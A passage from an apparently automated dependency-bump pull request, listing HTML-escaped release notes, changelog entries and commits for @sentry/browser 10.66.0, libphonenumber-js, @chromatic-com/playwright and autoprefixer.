href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22286\"\u003e#22286\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(browser-utils): Remove readystatechange listener to prevent memory leaks (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22216\"\u003e#22216\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(browser): Propagate trace data from active span if \u003ccode\u003ehttp.client\u003c/code\u003e span is non-recording (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22246\"\u003e#22246\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(core): Preserve propagation across ignored spans (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22277\"\u003e#22277\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(node): move dc integration swap to _init (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22173\"\u003e#22173\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(react-router): Correct url attributes for history and relative navigations (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22131\"\u003e#22131\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(react): Preserve parent path prefix for descendant route names in \u003ccode\u003ereact-router\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22225\"\u003e#22225\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(server-utils): Dedupe ioredis orchestrion span for offline-queued commands (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22279\"\u003e#22279\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(vue): Refresh pageload URL attrs on TanStack onResolved (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22140\"\u003e#22140\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cul\u003e\n\u003cli\u003echore: Add external contributor to CHANGELOG.md (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22295\"\u003e#22295\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: Do not treat flaky test issues as bug (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22272\"\u003e#22272\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: stub modules for orchestrion configs, channels (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22195\"\u003e#22195\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: Update claude PR instructions (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22241\"\u003e#22241\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(changelog): Add external contributor to next changelog (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22234\"\u003e#22234\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(ci): Temporarily assign node/node-core reviews to whole JS SDK team (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22226\"\u003e#22226\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(ci): Temporarily assign orchestrion reviews to whole JS SDK team (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22215\"\u003e#22215\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): Bump orchestrion dependencies to latest (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22287\"\u003e#22287\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): Bump \u003ccode\u003e@sentry/conventions\u003c/code\u003e to 0.16.0 (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22270\"\u003e#22270\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(gitignore): Add \u003ccode\u003e.pnpm-store\u003c/code\u003e to gitignore (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22223\"\u003e#22223\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(skills): Add bump-conventions skill (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22271\"\u003e#22271\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(ci): Improve flaky test issue deduplication (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22042\"\u003e#22042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(ci): Unblock external-contributors checkout on fork PR merges (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22235\"\u003e#22235\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eref(build): Replace ts-node with tsx for build and CI scripts (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22186\"\u003e#22186\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eref(core): Remove redundant log buffer flush (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22278\"\u003e#22278\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eref(nestjs): extract shared span helpers (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22175\"\u003e#22175\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eref(node): Refactor some otel internals in http integrations (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22292\"\u003e#22292\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eref(nuxt): Build the Nuxt module in-house instead of \u003ccode\u003e@​nuxt/module-builder\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22190\"\u003e#22190\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/getsentry/sentry-javascript/blob/develop/CHANGELOG.md\"\u003e@​sentry/browser's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e10.66.0\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(node-core): Deprecate \u003ccode\u003e@sentry/node-core\u003c/code\u003e package (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22285\"\u003e#22285\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(tanstackstart): Deprecate \u003ccode\u003e@sentry/tanstackstart\u003c/code\u003e package (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22284\"\u003e#22284\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edeps(server-utils): bump \u003ccode\u003e@​apm-js-collab/code-transformer\u003c/code\u003e and tracing-hooks (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22172\"\u003e#22172\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(bun): Add \u003ccode\u003einitWithoutDefaultIntegrations\u003c/code\u003e and \u003ccode\u003egetDefaultIntegrationsWithoutPerformance\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22036\"\u003e#22036\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(bundlers): Add orchestrion bundler plugins (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22124\"\u003e#22124\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(cloudflare): Support Cloudflare types v5 \u0026amp; newer wrangler versions (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22180\"\u003e#22180\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(core): Add and use \u003ccode\u003edataCollection.databaseQueryData\u003c/code\u003e (for e.g. Supabase filter values and mutation bodies) (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22219\"\u003e#22219\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(core): Add and use \u003ccode\u003edataCollection.graphQL\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22221\"\u003e#22221\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(core): Add stringify helper and make AI-tracing serializers safe (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22163\"\u003e#22163\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(nestjs): Add orchestrion diagnostics-channel instrumentation (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22176\"\u003e#22176\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(nextjs): Add opt-in for orchestrion instrumentation (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22043\"\u003e#22043\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(node): Rewrite knex instrumentation to orchestrion tracing channels (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22237\"\u003e#22237\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(server-utils): Capture and log orchestrion stats (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22269\"\u003e#22269\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(server-utils): Migrate \u003ccode\u003e@opentelemetry/instrumentation-kafkajs\u003c/code\u003e to orchestrion (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/21923\"\u003e#21923\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(server-utils): Migrate \u003ccode\u003e@opentelemetry/instrumentation-mysql2\u003c/code\u003e to orchestrion (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22229\"\u003e#22229\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(server-utils): Rewrite \u003ccode\u003e@opentelemetry/instrumentation-dataloader\u003c/code\u003e to orchestrion (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22236\"\u003e#22236\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(server-utils): Rewrite \u003ccode\u003e@opentelemetry/instrumentation-generic-pool\u003c/code\u003e to orchestrion (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22240\"\u003e#22240\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(sveltekit): Detect SvelteKit 3 native tracing from the Vite plugin (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/21580\"\u003e#21580\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: Include bundler CJS exports to fix Node warning (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22286\"\u003e#22286\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(browser-utils): Remove readystatechange listener to prevent memory leaks (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22216\"\u003e#22216\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(browser): Propagate trace data from active span if \u003ccode\u003ehttp.client\u003c/code\u003e span is non-recording (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22246\"\u003e#22246\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(core): Preserve propagation across ignored spans (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22277\"\u003e#22277\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(node): move dc integration swap to _init (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22173\"\u003e#22173\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(react-router): Correct url attributes for history and relative navigations (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22131\"\u003e#22131\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(react): Preserve parent path prefix for descendant route names in \u003ccode\u003ereact-router\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22225\"\u003e#22225\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(server-utils): Dedupe ioredis orchestrion span for offline-queued commands (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22279\"\u003e#22279\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(vue): Refresh pageload URL attrs on TanStack onResolved (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22140\"\u003e#22140\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cul\u003e\n\u003cli\u003echore: Add external contributor to CHANGELOG.md (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22295\"\u003e#22295\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: Do not treat flaky test issues as bug (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22272\"\u003e#22272\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: stub modules for orchestrion configs, channels (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22195\"\u003e#22195\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: Update claude PR instructions (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22241\"\u003e#22241\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(changelog): Add external contributor to next changelog (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22234\"\u003e#22234\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(ci): Temporarily assign node/node-core reviews to whole JS SDK team (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22226\"\u003e#22226\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(ci): Temporarily assign orchestrion reviews to whole JS SDK team (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22215\"\u003e#22215\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): Bump orchestrion dependencies to latest (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22287\"\u003e#22287\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): Bump \u003ccode\u003e@sentry/conventions\u003c/code\u003e to 0.16.0 (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22270\"\u003e#22270\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(gitignore): Add \u003ccode\u003e.pnpm-store\u003c/code\u003e to gitignore (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22223\"\u003e#22223\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(skills): Add bump-conventions skill (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22271\"\u003e#22271\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(ci): Improve flaky test issue deduplication (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22042\"\u003e#22042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(ci): Unblock external-contributors checkout on fork PR merges (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22235\"\u003e#22235\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eref(build): Replace ts-node with tsx for build and CI scripts (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22186\"\u003e#22186\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eref(core): Remove redundant log buffer flush (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22278\"\u003e#22278\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eref(nestjs): extract shared span helpers (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22175\"\u003e#22175\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eref(node): Refactor some otel internals in http integrations (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/pull/22292\"\u003e#22292\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-javascript/commit/323cbf6778cef8b1d51886e92f1bb420cefa3255\"\u003e\u003ccode\u003e323cbf6\u003c/code\u003e\u003c/a\u003e release: 10.66.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-javascript/commit/85d0619cf0a8c8b33fd79b5675551d19b279da6e\"\u003e\u003ccode\u003e85d0619\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/issues/22315\"\u003e#22315\u003c/a\u003e from getsentry/prepare-release/10.66.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-javascript/commit/bddcb834ca8b3527b1843af4bc0f9794ababf0fb\"\u003e\u003ccode\u003ebddcb83\u003c/code\u003e\u003c/a\u003e meta(changelog): Update changelog for 10.66.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-javascript/commit/595e940049757b78d0c4c08d3230f35a418d6dfd\"\u003e\u003ccode\u003e595e940\u003c/code\u003e\u003c/a\u003e feat(sveltekit): Detect SvelteKit 3 native tracing from the Vite plugin (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/issues/21580\"\u003e#21580\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-javascript/commit/667cb713e9d0660b510b65939e75feef8b59a73f\"\u003e\u003ccode\u003e667cb71\u003c/code\u003e\u003c/a\u003e fix(browser): Propagate trace data from active span if \u003ccode\u003ehttp.client\u003c/code\u003e span is ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-javascript/commit/e8d7bd4d104896fb6c7a11d33a9fa342891cc525\"\u003e\u003ccode\u003ee8d7bd4\u003c/code\u003e\u003c/a\u003e fix(core): Preserve propagation across ignored spans (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/issues/22277\"\u003e#22277\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-javascript/commit/bd69bd964acfbfd526fe1e11a597dceccad99471\"\u003e\u003ccode\u003ebd69bd9\u003c/code\u003e\u003c/a\u003e chore(node-core): Deprecate \u003ccode\u003e@sentry/node-core\u003c/code\u003e package (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/issues/22285\"\u003e#22285\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-javascript/commit/c04ebdac6324a859c1a5a39d8680c64e8a7250bf\"\u003e\u003ccode\u003ec04ebda\u003c/code\u003e\u003c/a\u003e fix(react): Preserve parent path prefix for descendant route names in `react-...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-javascript/commit/2cbacb555fdcf7080a714988cd9f80960e0ea031\"\u003e\u003ccode\u003e2cbacb5\u003c/code\u003e\u003c/a\u003e feat(node): Rewrite knex instrumentation to orchestrion tracing channels (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/issues/22\"\u003e#22\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-javascript/commit/c9716eb8b3d0bc525db99686b6e140622f023651\"\u003e\u003ccode\u003ec9716eb\u003c/code\u003e\u003c/a\u003e feat(server-utils): Capture and log orchestrion stats (\u003ca href=\"https://redirect.github.com/getsentry/sentry-javascript/issues/22269\"\u003e#22269\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/getsentry/sentry-javascript/compare/10.65.0...10.66.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `libphonenumber-js` from 1.13.8 to 1.13.9\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://gitlab.com/catamphetamine/libphonenumber-js/blob/master/CHANGELOG.md\"\u003elibphonenumber-js's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e1.13.9 / 17.7.2026\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated metadata to version 9.0.35:\n\u003cul\u003e\n\u003cli\u003eUpdated alternate formatting data for country calling code(s): 995\u003c/li\u003e\n\u003cli\u003eUpdated phone metadata for region code(s):\nAC, CN, FO, GE, IR, KE, SE, UG, ZW\u003c/li\u003e\n\u003cli\u003eUpdated short number metadata for region code(s): FR\u003c/li\u003e\n\u003cli\u003eUpdated geocoding data for country calling code(s): 86 (en, zh)\u003c/li\u003e\n\u003cli\u003eUpdated carrier data for country calling code(s):\n61 (en), 86 (en, zh), 93 (en, fa), 247 (en), 250 (en), 254 (en), 256 (en),\n263 (en), 298 (en), 420 (en), 976 (en), 995 (en)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://gitlab.com/catamphetamine/libphonenumber-js/commits/master\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@chromatic-com/playwright` from 0.14.10 to 0.14.11\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/chromaui/chromatic-e2e/releases\"\u003e@​chromatic-com/playwright's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​chromatic-com/playwright\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.14.11\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e2993acf: Fix \u003ccode\u003eModule not found: Error: Can't resolve 'storybook/internal/csf'\u003c/code\u003e when the archive Storybook is built in a project where \u003ccode\u003estorybook\u003c/code\u003e is not reachable from the project root (e.g. pnpm, regardless of the \u003ccode\u003ehoist\u003c/code\u003e setting). Webpack now falls back to resolving \u003ccode\u003estorybook/*\u003c/code\u003e imports from the \u003ccode\u003estorybook\u003c/code\u003e install these packages depend on.\u003c/li\u003e\n\u003cli\u003e0994e2e: Feat: add support for setting \u003ccode\u003ecolorScheme\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/chromaui/chromatic-e2e/blob/main/packages/playwright/CHANGELOG.md\"\u003e@​chromatic-com/playwright's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.14.11\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e2993acf: Fix \u003ccode\u003eModule not found: Error: Can't resolve 'storybook/internal/csf'\u003c/code\u003e when the archive Storybook is built in a project where \u003ccode\u003estorybook\u003c/code\u003e is not reachable from the project root (e.g. pnpm, regardless of the \u003ccode\u003ehoist\u003c/code\u003e setting). Webpack now falls back to resolving \u003ccode\u003estorybook/*\u003c/code\u003e imports from the \u003ccode\u003estorybook\u003c/code\u003e install these packages depend on.\u003c/li\u003e\n\u003cli\u003e0994e2e: Feat: add support for setting \u003ccode\u003ecolorScheme\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/chromaui/chromatic-e2e/commit/3f8172b1d7480455768a426c143cca7f8d04c8c0\"\u003e\u003ccode\u003e3f8172b\u003c/code\u003e\u003c/a\u003e Version Packages (\u003ca href=\"https://github.com/chromaui/chromatic-e2e/tree/HEAD/packages/playwright/issues/418\"\u003e#418\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/chromaui/chromatic-e2e/commit/2993acfa533c9bb5d742ef14bf0ef22b473de142\"\u003e\u003ccode\u003e2993acf\u003c/code\u003e\u003c/a\u003e fix: resolve storybook properly when \u003ccode\u003ehoist: false\u003c/code\u003e in pnpm (\u003ca href=\"https://github.com/chromaui/chromatic-e2e/tree/HEAD/packages/playwright/issues/417\"\u003e#417\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/chromaui/chromatic-e2e/commit/0994e2e817c2a82a004790163bcb481678c53e12\"\u003e\u003ccode\u003e0994e2e\u003c/code\u003e\u003c/a\u003e feat: add \u003ccode\u003ecolorScheme\u003c/code\u003e option (\u003ca href=\"https://github.com/chromaui/chromatic-e2e/tree/HEAD/packages/playwright/issues/411\"\u003e#411\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/chromaui/chromatic-e2e/commit/0162916f7dc50d8d83aacbbe16dd3cdbc4e8343c\"\u003e\u003ccode\u003e0162916\u003c/code\u003e\u003c/a\u003e ci: build only required projects when testing (\u003ca href=\"https://github.com/chromaui/chromatic-e2e/tree/HEAD/packages/playwright/issues/399\"\u003e#399\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/chromaui/chromatic-e2e/commit/91d232c3ca3cf95374efb94b921df0312bd16a95\"\u003e\u003ccode\u003e91d232c\u003c/code\u003e\u003c/a\u003e build: replace yarn with pnpm (\u003ca href=\"https://github.com/chromaui/chromatic-e2e/tree/HEAD/packages/playwright/issues/396\"\u003e#396\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/chromaui/chromatic-e2e/commit/d70fc20fcfc7fbd7e93b6529ba3f54ea6742b1ce\"\u003e\u003ccode\u003ed70fc20\u003c/code\u003e\u003c/a\u003e build: embedded packages from npm (\u003ca href=\"https://github.com/chromaui/chromatic-e2e/tree/HEAD/packages/playwright/issues/400\"\u003e#400\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/chromaui/chromatic-e2e/commit/9351a7ddd424d86edb353091fdb3915fddac40e7\"\u003e\u003ccode\u003e9351a7d\u003c/code\u003e\u003c/a\u003e fix(vitest): prevent duplicate story names error when test name is identical ...\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/chromaui/chromatic-e2e/commits/@chromatic-com/playwright@0.14.11/packages/playwright\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `autoprefixer` from 10.5.2 to 10.5.4\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/autoprefixer/releases\"\u003eautoprefixer's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e10.5.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed prefixed rule duplication (by \u003ca href=\"https://github.com/xianjianlf2\"\u003e\u003ccode\u003e@​xianjianlf2\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e10.5.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed brackets and gradient parser (\u003ca href=\"https://github.com/alanturing881\"\u003e\u003ccode\u003e@​alanturing881\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/autoprefixer/blob/main/CHANGELOG.md\"\u003eautoprefixer's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e10.5.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed prefixed rule duplication (by \u003ca href=\"https://github.com/xianjianlf2\"\u003e\u003ccode\u003e@​xianjianlf2\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e10.5.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed brackets and gradient parser (\u003ca href=\"https://github.com/alanturing881\"\u003e\u003ccode\u003e@​alanturing881\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/4cad00f0e839f3d7bbcdcc00b7df6fc448fb28f3\"\u003e\u003ccode\u003e4cad00f\u003c/code\u003e\u003c/a\u003e Release 10.5.4 version\u003c/li\u003e\n\u003cli\u003e\u003ca 